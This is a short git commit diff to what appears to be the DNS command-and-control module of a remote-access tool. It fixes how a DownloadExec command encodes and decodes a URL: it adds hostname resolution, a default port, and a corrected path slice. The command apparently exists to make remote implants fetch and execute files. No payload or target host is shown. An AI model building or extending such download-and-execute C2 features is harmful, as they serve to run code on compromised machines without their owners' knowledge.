Fix dnscnc dexec

This commit is contained in:
Oleksii Shevchuk 2017-04-06 15:18:43 +03:00
parent d70dcc7259
commit 2f000ce55d
1 changed files with 11 additions and 3 deletions

View File

@ -473,12 +473,20 @@ class DownloadExec(Command):
url = urlparse.urlparse(self.url) url = urlparse.urlparse(self.url)
try:
addr = netaddr.IPAddress(url.hostname) addr = netaddr.IPAddress(url.hostname)
except:
addr = netaddr.IPAddress(socket.gethostbyname(url.hostname))
if not addr.version == 4: if not addr.version == 4:
raise ValueError('IPv6 unsupported') raise ValueError('IPv6 unsupported')
addr = int(addr) addr = int(addr)
if url.port:
port = int(url.port) port = int(url.port)
else:
port = 0
path = url.path path = url.path
if len(path) > 16: if len(path) > 16:
@ -513,7 +521,7 @@ class DownloadExec(Command):
port = ':{}'.format(port) if port else ( port = ':{}'.format(port) if port else (
'' if scheme in ('http', 'ftp', 'https') else 53 '' if scheme in ('http', 'ftp', 'https') else 53
) )
path = data[bsize:plen] path = data[bsize:bsize+plen]
return DownloadExec('{}://{}{}{}'.format( return DownloadExec('{}://{}{}{}'.format(
scheme, host, port, path scheme, host, port, path
), action, proxy), bsize+plen ), action, proxy), bsize+plen